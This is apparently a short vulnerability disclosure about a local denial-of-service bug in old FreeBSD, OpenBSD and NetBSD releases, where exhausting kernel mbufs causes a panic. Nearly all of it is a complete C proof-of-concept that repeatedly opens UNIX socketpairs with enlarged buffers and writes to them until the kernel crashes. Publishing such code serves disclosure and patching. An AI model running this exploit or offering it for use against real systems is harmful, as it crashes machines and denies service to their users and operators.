DoS

[Oleg Derevenetz]

Denial of Service and kernel panic (out of mbuf) appears when following
program executes (originally reported by Sven Berkenvs 
([EMAIL PROTECTED])). Affects FreeBSD 3.x & 4.0, OpenBSD 2.5, OpenBSD 2.6,
NetBSD 1.4.1.

#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>

#define BUFFERSIZE      204800

int main () 
{
    int p[2], i;
    char crap[BUFFERSIZE];
    
    while (1) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) 
            break;
        i = BUFFERSIZE;
        setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
        setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
        setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,sizeof(int));
        setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,sizeof(int));
        fcntl(p[0], F_SETFL, O_NONBLOCK);
        fcntl(p[1], F_SETFL, O_NONBLOCK);
        write(p[0], crap, BUFFERSIZE);
        write(p[1], crap, BUFFERSIZE);
    }
    
    exit(0);
}



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